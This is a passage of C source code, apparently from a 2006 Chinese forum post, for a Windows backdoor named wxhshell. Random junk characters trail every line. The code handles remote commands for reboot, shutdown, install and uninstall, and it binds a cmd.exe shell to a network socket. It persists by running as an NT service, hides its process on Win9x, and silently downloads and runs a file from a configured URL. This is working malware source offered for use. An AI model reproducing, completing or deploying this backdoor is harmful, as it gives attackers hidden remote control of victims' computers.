  } L1F###c  
  else { #|ddyCg2  
cdN/Qy  
    switch(cmd[0]) { #Jv43L H  
  fPrb%  
  // 帮助 Ivjw<XP6K  
  case '?': { IwM8#6;S~  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _iq2([BpL  
    break; JE9>8+  
  } @9<S*  
  // 安装 t]r7cA  
  case 'i': { v\'r Xy  
    if(Install()) H1C%o0CPY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Me<du& T  
    else [88{@)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9iK&f\#5H  
    break; X [!X>w&z|  
    } .c:)Qli  
  // 卸载 u x#. :C|  
  case 'r': { [NZ-WU&&LP  
    if(Uninstall()) E+Im~=m$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _lNC<7+#h  
    else +.wT 9kFcc  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )+*{Y$/U  
    break; S{ey@ X(  
    } :Dt\:`(r'  
  // 显示 wxhshell 所在路径 RZe#|k+ 8  
  case 'p': { +/w(K,  
    char svExeFile[MAX_PATH]; 363cuRP  
    strcpy(svExeFile,"\n\r"); OFIMi^@  
      strcat(svExeFile,ExeFile); y3IA '  
        send(wsh,svExeFile,strlen(svExeFile),0); RE*WM3QK~  
    break; o|+E+l9\  
    } FXeV6zfrE  
  // 重启 =Iy/cHK  
  case 'b': { Dw*Arc+3V  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -}<d(c  
    if(Boot(REBOOT)) :;q>31:h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &q"'_4  
    else { n'ehB%"  
    closesocket(wsh); \ U Ax(;  
    ExitThread(0); 6{ C Fe|XN  
    } [pr 9 $Jr  
    break; &7fY_~)B  
    } T6,V  
  // 关机 "NJ ,0A  
  case 'd': { 9ptZVv=O  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); a6k(9ZF  
    if(Boot(SHUTDOWN)) 6EZ1YG}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yV8-  
    else { D>ojW|@}  
    closesocket(wsh); D9,e3.?p  
    ExitThread(0); 0n\^$WY  
    } w[e0wh`.  
    break; >/8ru*Oc  
    } I'xC+nL@  
  // 获取shell /z..5r^,ZZ  
  case 's': { .r7D )xNa@  
    CmdShell(wsh); Q6eN+i2 ;  
    closesocket(wsh); y{YXf! AS  
    ExitThread(0); v3?kFd7%H~  
    break; hTDV!B-_(  
  } m**0rpA  
  // 退出 gH5CB%)  
  case 'x': { o*-h%Z.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); N4A&"1d&  
    CloseIt(wsh); Sy4 mZ}:  
    break; a5X`jo  
    } uXjoGcW  
  // 离开 k{?!O\yY  
  case 'q': { p}96uaC1  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Y+!Ouc!$  
    closesocket(wsh); wH+FFXGJs  
    WSACleanup(); 4=~ 9v  
    exit(1); >'eB2  
    break; Z+r%_|kZ  
        } mVa?aWpez  
  } _yiR h:  
  } 1% asx'^  
,tcP=f dk]  
  // 提示信息 "3\oQvi.  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); | A3U@>6  
} MRjH40" 2  
  } +{5JDyh0  
1XqIPiXJ  
  return; A<mj8qz  
} U~oBNsU"  
YR?3 61FK  
// shell模块句柄 $K+4C0wX`  
int CmdShell(SOCKET sock) Sjw2 j#Q  
{ N 9c8c  
STARTUPINFO si; :a#F  
ZeroMemory(&si,sizeof(si)); N$C{f;xV  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; d&NCFx  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; D8)O4bh  
PROCESS_INFORMATION ProcessInfo; \m(ymp<c`  
char cmdline[]="cmd"; Jq=00fcT+  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); I/mvQxp  
  return 0; !'Pk jP  
} VV?]U$  
Y0@'za^y  
// 自身启动模式 yJF 2  
int StartFromService(void) .Ln;m8  
{ `l+ >iM  
typedef struct $dlnmNP+  
{ gsLr=  
  DWORD ExitStatus; ov?.:M  
  DWORD PebBaseAddress; I/^q+l.=`{  
  DWORD AffinityMask; +R2^* *<  
  DWORD BasePriority; a];BW)  
  ULONG UniqueProcessId; cSY2#u|v  
  ULONG InheritedFromUniqueProcessId; F9Ifw><XM  
}   PROCESS_BASIC_INFORMATION; mGt\7&`  
hq5NQi` %  
PROCNTQSIP NtQueryInformationProcess; }l,T~Pjb  
}5fU7&jA;3  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0|.7Kz^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; C<r(-qO{5  
` %FIgE^  
  HANDLE             hProcess; }%-UL{3%  
  PROCESS_BASIC_INFORMATION pbi; ]cx"  
/d{glOk  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); QN)/,=#  
  if(NULL == hInst ) return 0; fKPiRlLS  
JVD@I{  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); q,<n,0)K  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); kb/|;!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); pi^^L@@ d  
(! xg$Kz@  
  if (!NtQueryInformationProcess) return 0; WpXODkQL  
66I|0_  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >&$$(Bp  
  if(!hProcess) return 0; C_;HaQiu  
<{$ ev&bQ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2>!_B\%)H  
80{#bb  
  CloseHandle(hProcess); K)yCrEZ  
GCcwEl!K^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); e#l*/G*,  
if(hProcess==NULL) return 0; c'4>D,?1  
@?<N +qdH>  
HMODULE hMod; &/B2)l6a  
char procName[255]; hg[l{)Q  
unsigned long cbNeeded; xaGVu0q  
8vz_~p9%j  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); z1Bj_u{  
LL|_c4$Ky  
  CloseHandle(hProcess); 4q\.I +r^  
qWRNHUd  
if(strstr(procName,"services")) return 1; // 以服务启动 %00k1 *$  
NWo7wVwc/c  
  return 0; // 注册表启动 Ybs=W< -  
} 844tXMtPB\  
vDu0  
// 主模块 p{A}p9sjx  
int StartWxhshell(LPSTR lpCmdLine) }4bB7,j  
{ p{mxk)A  
  SOCKET wsl; qT4I Y$h  
BOOL val=TRUE; zznPD%#Sc  
  int port=0; K$MJ#Zx^  
  struct sockaddr_in door; ;whFaQi 4  
pr0@sri@  
  if(wscfg.ws_autoins) Install(); c[wQJc  
OoAr%  
port=atoi(lpCmdLine); JVJ1Ay/be  
F<PWBs%  
if(port<=0) port=wscfg.ws_port; )'BJ4[aq\  
Ee t+  
  WSADATA data; >>oASo  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; dD/29b(  
s,UN'~e1  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   R$!;J?SS  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;4-p upK~%  
  door.sin_family = AF_INET; m [g< K  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); |QAeQWP+1  
  door.sin_port = htons(port); ,z?<7F1q=  
6e$sA (a=i  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9B!im\]O  
closesocket(wsl); 4i+PiD:H  
return 1; aBqe+FXp4  
} s T :tFK\  
GL;x:2XA  
  if(listen(wsl,2) == INVALID_SOCKET) { &;6|nl9;  
closesocket(wsl); EzD -1sJ  
return 1; >gX0Ij#G  
} nZ`2Z7!  
  Wxhshell(wsl); %=NM_5a}]  
  WSACleanup(); ooLnJ Y#  
`}k&HRn  
return 0; M `9orq<  
>D`fp  
} "Cyo<|  
5{R#h :  
// 以NT服务方式启动 d I#8CO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) M5cOz|j/*R  
{ Z30z<d,j  
DWORD   status = 0; $L<_uqSk  
  DWORD   specificError = 0xfffffff; I{?E/Sc  
7"a`-]Ap  
  serviceStatus.dwServiceType     = SERVICE_WIN32; APHtJoS  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; p:[`%<j0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ? BHWzo!  
  serviceStatus.dwWin32ExitCode     = 0; 1WUFk?p  
  serviceStatus.dwServiceSpecificExitCode = 0; j,|1y5f  
  serviceStatus.dwCheckPoint       = 0; p0[,$$pM  
  serviceStatus.dwWaitHint       = 0; |"Xi%CQ2  
m' Ekp  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Q !RVD*(  
  if (hServiceStatusHandle==0) return; ! kOl$!X4  
F9u:8;\@`  
status = GetLastError(); rB.=f[aX[  
  if (status!=NO_ERROR) I9:G9  
{ >?G|Yz*kEJ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; e\d5SKY  
    serviceStatus.dwCheckPoint       = 0; [5RFQ!  
    serviceStatus.dwWaitHint       = 0; we:5gK &  
    serviceStatus.dwWin32ExitCode     = status; ? !oVf>  
    serviceStatus.dwServiceSpecificExitCode = specificError; yv!''F:9F  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); TzevC$m;z  
    return; X5L(_0?F1  
  } |7S4;  
8zCGMhd  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; yNLa3mW  
  serviceStatus.dwCheckPoint       = 0; 8aZey_Hw;+  
  serviceStatus.dwWaitHint       = 0; sO{0hZkc  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~*' 8=D?)  
} l $p_])x  
(Qx-KRH  
// 处理NT服务事件,比如:启动、停止 VeN&rjc  
VOID WINAPI NTServiceHandler(DWORD fdwControl) T4HoSei  
{ _M"$5 T  
switch(fdwControl) mf*9^}l+Zn  
{ G>q{~HE1  
case SERVICE_CONTROL_STOP: *&hXJJ[+  
  serviceStatus.dwWin32ExitCode = 0; 7G>0,'XC  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; `G ;Lz^  
  serviceStatus.dwCheckPoint   = 0; ArmL,  
  serviceStatus.dwWaitHint     = 0; \[IdR^<YM  
  { 0'q(XB`i=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); H%01&u  
  } SVg@xu+  
  return; Wy^[4|6  
case SERVICE_CONTROL_PAUSE: I(?|Ox9"?  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ziLr }/tg  
  break; px [1#*  
case SERVICE_CONTROL_CONTINUE: 5QL9 w3L  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; -aH?7HV}  
  break; XY+aunLf  
case SERVICE_CONTROL_INTERROGATE: G"U>fwFuK  
  break; 2W"cTm  
}; AG$-U2ap  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); a_pCjG89  
} llZ"uTK\M  
/ie3H,2  
// 标准应用程序主函数 LKqog%,c  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 'a-5 U TT  
{ *nsnX/e(-  
pZ_FVID  
// 获取操作系统版本 (!>g8=`"  
OsIsNt=GetOsVer(); Pv2nV!X6  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >Rki[SNb-b  
,$6MM6W;-F  
  // 从命令行安装 JIY ^N9_  
  if(strpbrk(lpCmdLine,"iI")) Install(); hyvV%z Z  
V&,<,iNN  
  // 下载执行文件 5cNzG4z  
if(wscfg.ws_downexe) { qh(-shZ4Du  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) UwL"%0u  
  WinExec(wscfg.ws_filenam,SW_HIDE); jzJ1+/9  
} ZTBFV/{  
Za:BJ:  
if(!OsIsNt) { 4na4Jsq{  
// 如果时win9x,隐藏进程并且设置为注册表启动 #o"HD6e  
HideProc(); #Lxj )  
StartWxhshell(lpCmdLine); 0m+5Zn  
} <E}]t,'3  
else '9p5UC  
  if(StartFromService()) mk`cyN>m  
  // 以服务方式启动 9Pob|UA  
  StartServiceCtrlDispatcher(DispatchTable); !iitx U  
else EkjK92cF  
  // 普通方式启动 kkE)zF   
  StartWxhshell(lpCmdLine); $NGtxZp  
bhm~Ii  
return 0; aji~brq  
}
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只看该作者 1 发表于: 2006-10-10
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